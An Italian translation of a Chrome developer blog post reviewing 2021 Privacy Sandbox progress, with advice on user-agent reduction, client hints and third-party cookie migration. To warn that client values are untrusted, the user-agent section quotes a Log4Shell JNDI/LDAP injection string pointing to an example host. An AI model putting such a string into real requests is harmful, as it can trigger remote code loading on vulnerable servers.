Progressi in Privacy Sandbox (dicembre 2021)

Ti diamo il benvenuto nell'edizione riepilogativa del 2021 di Progress in the Privacy Sandbox, che monitora i traguardi raggiunti nel percorso per eliminare gradualmente i cookie di terze parti in Chrome e puntare a un web più privato. Di solito condividiamo una panoramica degli aggiornamenti alla sequenza temporale di Privacy Sandbox insieme alle notizie riguardanti il progetto, ma dicembre è stato un mese tranquillo. Esamineremo invece alcune delle attività del 2021 e ti forniremo alcuni potenziali buoni propositi ora che ci avviciniamo al nuovo anno.

Processo di sviluppo di Chromium

Affinché una nuova funzionalità della piattaforma web venga aggiunta in Chromium, deve superare il processo di sviluppo aperto del progetto. Nel 2021, il team di Privacy Sandbox ha prodotto:

🥚Intenzione di prototipare 19
🧪Intenzione di sperimentare7
🚀Intenzione di spedizione 11
Fonte

Ogni traguardo è anche un invito a contribuire a tutto l'ecosistema web.

Un Intent to Prototype è il primo punto di controllo, in cui invitiamo la discussione e la sperimentazione iniziale. Ciò significa che una proposta sarà disponibile su GitHub, dove puoi porre una domanda creando un problema o partecipare a discussioni e presentazioni in gruppi di standard come W3C e IETF. Anche qui inizia la programmazione, il che significa che puoi aspettare che la funzionalità del prototipo sia resa disponibile per i test degli sviluppatori dietro un flag delle funzionalità. Il feedback iniziale è fondamentale per convalidare e ripetere le proposte.

Un intent per l'esperimento è un passaggio facoltativo se vogliamo richiedere una prova dell'origine. Gli sviluppatori possono registrarsi alla prova dell'origine di una funzionalità, quindi testarla in produzione. È definita esperimento perché abbiamo aspetti specifici della funzionalità che vuoi convalidare negli ambienti reali. Gli sviluppatori che possono testare e condividere i risultati di questi test forniscono feedback preziosi per contribuire all'iterazione e allo sviluppo della funzionalità.

L'obiettivo Intent to Ship (Intenzione di spedizione) è il traguardo finale, che indica che una funzionalità è ora completa e pronta per la disponibilità generale. Una volta approvata, la funzionalità verrà unita in una release futura e poi avanzerà nei canali Canary, Beta e Stabile. È fondamentale assicurarsi di testare i siti con le versioni Canary e Beta di Chrome per rilevare e segnalare eventuali bug prima che una funzionalità raggiunga il canale stabile.

Proposte

Ogni proposta di Privacy Sandbox ha un repository GitHub associato. Un repository ospita un messaggio esplicativo per riepilogare le funzionalità generali, una specifica dettagliata per l'implementazione da parte dei browser e contributi da tutto l'ecosistema web sotto forma di problemi e richieste di pull.

In 14 repository Privacy Sandbox, abbiamo registrato:

💬545Problemi creati
250Problemi chiusi
🛠️261Richieste di pull create
223Richieste di pull unite
Fonte

Il linguaggio dei video esplicativi e delle specifiche è spesso rivolto a un pubblico che ha già familiarità con gli standard e lo sviluppo dei browser, il che può essere difficile se non lo conosci. Tuttavia, lo scopo di un messaggio esplicativo è spiegare. Se ci sono alcuni punti che non sono chiari o non trattati, ti chiediamo di segnalare un problema per poter aggiornare e chiarire il testo esplicativo.

Risoluzioni

Pulizia di primavera dello user agent

Dato che stavamo contando alla rovescia al nuovo anno, contiamo anche fino a Chrome 100 e alla riduzione incrementale della stringa dello user agent. Questo è un buon motivatore per rivedere l'utilizzo della stringa dello user agent nel codice per verificare se è interessato da una di queste modifiche.

Per individuare queste aree:

  1. Cerca navigator.userAgent nel codice JavaScript oppure accedi all'intestazione User-Agent nel codice server.
  2. Controlla l'analisi della stringa per ipotesi relative a una versione a 2 cifre. Ad esempio, un'espressione regolare che specifica \d\d o \d{2} deve essere sostituita con \d+.
  3. Controlla l'utilizzo della stringa per qualsiasi punto in cui ti affidi:
    • versione della piattaforma (sistema operativo)
    • versione completa di Chrome Build
    • nome del dispositivo mobile
  4. Questi sono i valori che in futuro verranno ridotti a stringhe fisse. Se hai bisogno di accedere a questi valori, esegui la migrazione ai client hint dello user agent.

C'è un aggiornamento di dicembre da menzionare: se stai adottando i client hint user agent, abbiamo inviato lo strumento Intent to Ship per attivare i suggerimenti della delega ad altre origini in HTML tramite un tag <meta>. Ad esempio:

<meta name="accept-ch" content="sec-ch-ua-model=( https://foo.bar )">

Se invece preferisci le pulizie di primavera, puoi prendere in considerazione altre alternative all'uso dello user agent. Se utilizzi la stringa per rilevare i dispositivi mobili, verifica se puoi sostituirla con il design reattivo. Se stai controllando il nome e la versione del browser per il supporto delle funzionalità, scopri se puoi utilizzare il rilevamento delle funzionalità.

È sempre bene ricordare che lo user agent, come qualsiasi valore fornito dal client, non garantisce l'accuratezza o neanche la fornitura. La recente vulnerabilità Log4j, "Log4shell", fornisce un esempio di questo rischio. Un client che imposta la stringa user agent in modo da includere un valore come ${jndi:ldap://example.com/file} potrebbe riuscire a ottenere un sito per analizzarlo attivamente sul server.

Un'altra tradizionale attività del nuovo anno consiste nell'assicurarsi di avere un buon numero di biscotti con ingredienti di qualità. Mentre proseguiamo con la fase di eliminazione dei cookie di terze parti, dovresti assicurarti di sapere quali cookie del tuo sito saranno interessati. Il 2020 ha offerto un vantaggio in quanto è diventato necessario contrassegnare tutti i cookie per l'utilizzo tra siti o terze parti con SameSite=None.

Tutti i cookie per cui hai impostato l'attributo SameSite su None dovranno essere aggiornati.

Al momento sono tre i possibili percorsi da prendere in considerazione:

  1. Se il cookie è richiesto solo in una relazione 1:1 con il sito di primo livello, segui lo stato di avanzamento della proposta CHIPS. Ciò comporterà l'aggiunta dell'attributo Partitioned al cookie.
  2. Se il cookie viene utilizzato in un contesto tra siti, ma solo su siti di tua proprietà e gestiti, potrebbe essere candidato per gli insiemi proprietari. Ciò richiede la definizione dei siti nel set e l'aggiunta dell'attributo SameParty al cookie.
  3. Se il cookie viene utilizzato per fornire una qualche forma di valore condiviso tra più siti, esamina l'insieme più ampio di proposte di Privacy Sandbox per trovare una soluzione alternativa che non si basa sul monitoraggio tra siti.

Se ti senti particolarmente consapevole della tua salute, questo è il momento ideale anche per rivedere l'uso dei cookie, in quanto esiste una buona ricetta per migliorare anche i tuoi biscotti proprietari.

Feedback

Man mano che continuiamo a pubblicare questi aggiornamenti mensili e a progredire nell'ambito di Privacy Sandbox nel suo complesso, vogliamo assicurarci che gli sviluppatori ricevano le informazioni e il supporto di cui hanno bisogno. Contattaci su @ChromiumDev Twitter se hai qualcosa che possiamo migliorare in questa serie. Utilizzeremo il tuo contributo per continuare a migliorare il formato.

Consulta le Domande frequenti su Privacy Sandbox, che continuano ad ampliare in base ai problemi che invii al repository dell'assistenza per gli sviluppatori. Se hai domande sui test o sull'implementazione di una delle proposte, contattaci.